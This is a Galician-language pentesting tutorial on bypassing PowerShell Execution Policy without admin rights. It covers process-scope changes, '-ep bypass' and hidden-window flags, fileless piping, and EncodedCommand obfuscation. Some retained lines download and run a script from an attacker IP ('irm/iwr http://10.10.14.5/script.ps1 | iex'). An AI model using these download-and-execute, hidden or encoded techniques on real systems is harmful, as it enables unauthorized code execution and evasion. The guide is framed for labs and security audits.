Evasión de Políticas de Execución en PowerShell
Introdución
Un dos erros máis comúns ao comezar a traballar con PowerShell en auditorías ou laboratorios é o seguinte:
File script.ps1 cannot be loaded because running scripts is disabled on this system.
Isto débese á Execution Policy (Política de Execución), unha característica de seguridade deseñada para evitar a execución accidental de scripts, pero que non é unha barreira de seguridade real contra un atacante.
Este documento detalla como identificar, comprender e saltar estas restricións sen necesidade de permisos de Administrador.
Preparación: Script de Exemplo
Para probar os métodos descritos neste documento, crea un ficheiro chamado script.ps1 no cartafol onde esteas a traballar co seguinte contido simple. Este servirá para verificar cando logramos saltar a restrición.
Contido de script.ps1:
Comprobar o Estado Actual
Antes de intentar un bypass, é útil saber en que estado se atopa a máquina.
Nota importante: Ao executar este comando sen parámetros, PowerShell devolve a Política Efectiva. Isto non se corresponde necesariamente cun único ámbito, senón que é a política "gañadora" despois de avaliar todas as prioridades (GPO, Usuario, Máquina, etc.).Exemplo de saída:
Ou para ver o detalle por ámbitos e saber de onde vén esa restrición:
Exemplo de saída:
Scope ExecutionPolicy
----- ---------------
MachinePolicy Undefined
UserPolicy Undefined
Process Undefined
CurrentUser Undefined
LocalMachine Undefined
Orde de Prioridade
É fundamental entender que a prioridade aplícase de arriba a abaixo. PowerShell revisa a lista nesta orde e aplica a primeira política que non sexa Undefined. O resultado desta comprobación é o que mostra o comando Get-ExecutionPolicy básico.
- MachinePolicy (GPO): Prioridade máxima. Establecida por directivas de grupo.
- UserPolicy (GPO): Establecida por directivas de grupo para o usuario.
- Process (Sesión actual): Afecta só á ventá actual (aquí é onde actuamos para o bypass).
- CurrentUser: Configuración no rexistro do usuario actual.
- LocalMachine: Configuración global do equipo (prioridade mínima).
Se Process está definido como Bypass, anulará o que diga LocalMachine, pero non podería anular unha MachinePolicy se esta estivese definida por un administrador de dominio.
Tipos de Políticas
- Undefined: Non hai ningunha política de execución establecida para o ámbito actual. Se todos os ámbitos son
Undefined, a política efectiva por defecto é Restricted (en clientes Windows) ou RemoteSigned (en servidores). - Default: Establece a política de execución predeterminada. En clientes Windows equivale a Restricted, mentres que en Windows Server equivale a RemoteSigned.
- Restricted: Non permite executar ningún script (valor por defecto en Windows cliente). Só permite comandos individuais.
- RemoteSigned: Scripts creados localmente execútanse sen problemas; os descargados de Internet requiren estar asinados por un editor de confianza.
- AllSigned: Todos os scripts (locais e remotos) requiren firma dixital.
- Unrestricted: Permite a execución de calquera script. Só amosa unha advertencia para scripts descargados de Internet non asinados.
- Bypass: Nada está bloqueado e non hai advertencias nin preguntas.
Método 1: Cambio de Ámbito (Process Scope)
Este é o método máis limpo e profesional para un pentester que ten acceso interactivo a unha shell, pero non ten permisos de Administrador.
O Truco do Scope Process
Por defecto, intentar cambiar a política afecta a toda a máquina (Rexistro), o que require permisos de Admin.
Porén, o parámetro -Scope Process aplica o cambio só á variable de entorno da sesión actual. Isto non require privilexios elevados e desaparece ao pechar a ventá.
Comando:
Verificación:
Podes comprobar que funcionou executando de novo o listado. Verás que Process agora manda sobre LocalMachine (ou sobre Undefined) porque está máis arriba na lista de prioridades:
Scope ExecutionPolicy
----- ---------------
MachinePolicy Undefined
UserPolicy Undefined
Process Bypass <-- A túa sesión (Gaña aos de abaixo)
CurrentUser Undefined
LocalMachine Restricted (Ou Undefined)
Método 2: Flags de Liña de Comandos
Se vas executar un script "one-liner" ou chamas a PowerShell desde unha CMD/Shell reversa, podes pasar a política como argumento. Isto non cambia a configuración persistente do sistema.
Comando básico:
Versión abreviada (moi común en exploits):
Versión invisible (para payloads):
*-nop: NoProfile (carga máis rápido e evita cargar scripts de perfil do usuario).
* -w hidden: WindowStyle Hidden (oculta a ventá).
Detalle Técnico: WindowStyle Hidden
O uso de -w hidden ten matices importantes:
- O "Flash": A miúdo vese un breve parpadeo da ventá negra antes de desaparecer. Isto ocorre porque a ventá créase antes de que PowerShell procese o argumento de ocultala.
- Oculta os ERROS: Se o teu comando falla (ex: a ruta non existe ou non tes permisos), a ventá abrirase, mostrará o erro e pecharase tan rápido que non o verás. Nunca uses
-w hiddenmentres estás probando o payload. - Visibilidade do Proceso: Aínda que a ventá non se vexa na barra de tarefas, o proceso
powershell.exesegue visible no Administrador de Tarefas. - Exemplo práctico: Se executas
powershell -w hidden -c "echo ola > c:\ruta\non\existe.txt", non se creará nada e non verás ningún aviso. Debes probar primeiro sen o flag oculto.
Método 3: Execución en Memoria (Fileless)
A Execution Policy bloquea ficheiros .ps1 no disco. Se les o contido do ficheiro e llo pasas directamente ao intérprete, a política a miúdo ignórase porque non se está "executando un ficheiro", senón interpretando cadeas de texto.
Pipe desde Get-Content
Se tes o ficheiro no disco pero non podes executalo:
Descarga e Execución Remota
A técnica estándar para non tocar disco. O script descárgase como string e execútase inmediatamente.
Nota: Asegúrate de cambiar 10.10.14.5 pola IP da túa máquina atacante.
Opción Moderna (Recomendada - PS v3.0+):
Utiliza alias para comandos máis curtos. irm é preferible porque obtén só o contido puro.
Tamén podes atopar variantes con iwr (Invoke-WebRequest). Se che dá un erro sobre o "Internet Explorer engine", debes engadir -UseBasicParsing.
# Engadimos -UseBasicParsing para evitar erros se non hai IE configurado
iwr -UseBasicParsing http://10.10.14.5/script.ps1 | iex
Diferenza: irm vs iwr
irm(Invoke-RestMethod): Devolve directamente o contido (o corpo da resposta). É o ideal para scripts porque entrega o código limpo para oiex.iwr(Invoke-WebRequest): Devolve un obxecto de resposta completo (con cabeceiras, estado HTTP, etc.). Aínda que funciona no pipe, descarga máis metadatos innecesarios e a miúdo require-UseBasicParsing.
Opción Clásica (Legacy - PS v2.0): Útil só en sistemas moi antigos (ex. Windows 7 sen actualizar).
Método 4: Bypass por Codificación (EncodedCommand)
Moi útil para evitar problemas de sintaxe con caracteres especiais ou para ofuscar o comando básico. Non salta a política per se, pero úsase xunto con flags de bypass para inxeccións limpas.
1. Preparar o comando (Escolle a túa plataforma)
Opción A: Desde Windows (PowerShell)
# Lembra substituír 10.10.14.5 pola túa IP de atacante
$cmd = "irm http://10.10.14.5/script.ps1 | iex"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
$encoded = [Convert]::ToBase64String($bytes)
Write-Host $encoded
Opción B: Desde Linux / Kali (Bash) En Linux é necesario converter o texto a UTF-16LE antes de facer o Base64 para que PowerShell o entenda:
2. Executar na vítima
Copia a cadea xerada e execútaa na máquina obxectivo:
Resumo de Técnicas
| Método | Comando Clave | Vantaxe |
|---|---|---|
| Process Scope | Set-ExecutionPolicy -Scope Process ... |
Non require Admin, afecta a toda a sesión actual. |
| CLI Flag | powershell -ep bypass ... |
Rápido, ideal para one-liners ou scripts de inicio. |
| Pipe / IEX | cat script.ps1 \| iex |
Evita a restrición de ficheiros (Fileless). |
| Web Download | irm http://... \| iex |
Descarga e executa en memoria sen tocar disco. |
Consideracións de Seguridade
Aínda que estes métodos saltan a Execution Policy, non evitan a detección de antivirus (Microsoft Defender) nin AMSI (Antimalware Scan Interface).
Se usas -ep bypass e cargas un script coñecido como malicioso (ex. Mimikatz ou Nishang sen ofuscar), Defender bloquearao pola firma do contido, non pola política de execución.